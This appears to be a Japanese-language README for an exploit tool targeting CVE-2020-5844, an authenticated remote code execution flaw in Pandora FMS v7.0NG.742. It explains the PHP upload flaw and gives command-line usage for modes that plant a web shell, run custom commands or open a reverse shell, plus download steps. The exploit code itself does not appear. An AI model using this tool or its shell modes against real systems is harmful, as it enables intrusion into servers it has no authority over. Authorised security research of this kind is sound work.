
CVE-2020-5844 (Pandora FMS v7.0NG.742) のエクスプロイト - リモートコード実行

このリポジトリが気に入ったら ⭐ をお願いします!
教育目的および許可されたセキュリティ研究目的に限ります。
@UNICORDev by (@NicPWNs と @Dev-Yeoj)
Pandora FMS v7.0 NG の index.php?sec=godmode/extensions&sec2=extensions/files_repo では、認証された管理者が悪意のあるPHPスクリプトをアップロードし、ファイルロケーションのbase64デコードを介して実行できます。これは v7.0NG.742_FIX_PERL2020 に影響します。
このエクスプロイトは、脆弱なバージョンのPandora FMSでリモートコード実行を行うために使用します。ターゲットのIPアドレスとポートが必要です。有効なユーザー名/パスワード、または有効なPHPSESSIDクッキーによる認証が必要です。デフォルトモードでは、基本的なPHPウェブシェルをアップロードします。カスタムコマンドモードでは、ターゲットでカスタムコマンドを実行します。リバースシェルモードでは、設定したリスナーでターゲットからリバースシェルを受信します。ウェブシェルカスタムモードでは、PHPウェブシェルファイル名を変更します。
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -u <username> <password>
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID>
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>]
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>]
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>]
python3 exploit-CVE-2020-5844.py -h
-t ターゲットのホストとポート。ターゲットIPアドレスとポートを指定します。
-u ターゲットのユーザー名とパスワード。Pandora FMSにログインするためのユーザー名とパスワードを指定します。
-p ターゲットの有効なPHPセッションID。ユーザー名やパスワードは不要です。(オプション)
-s リバースシェルモード。ローカルIPアドレスとポートを指定します。(オプション)
-c カスタムコマンドモード。実行するコマンドを指定します。(オプション)
-w ウェブシェルカスタムモード。カスタムPHPファイル名を指定します。(オプション)
-h このヘルプメニューを表示します。
GitHubからexploit-CVE-2020-5844.pyをダウンロード
ExploitDBからexploit-CVE-2020-5844.pyをダウンロード
searchsploit -u
searchsploit -m 50961
Pandora FMS v7.0NG.742




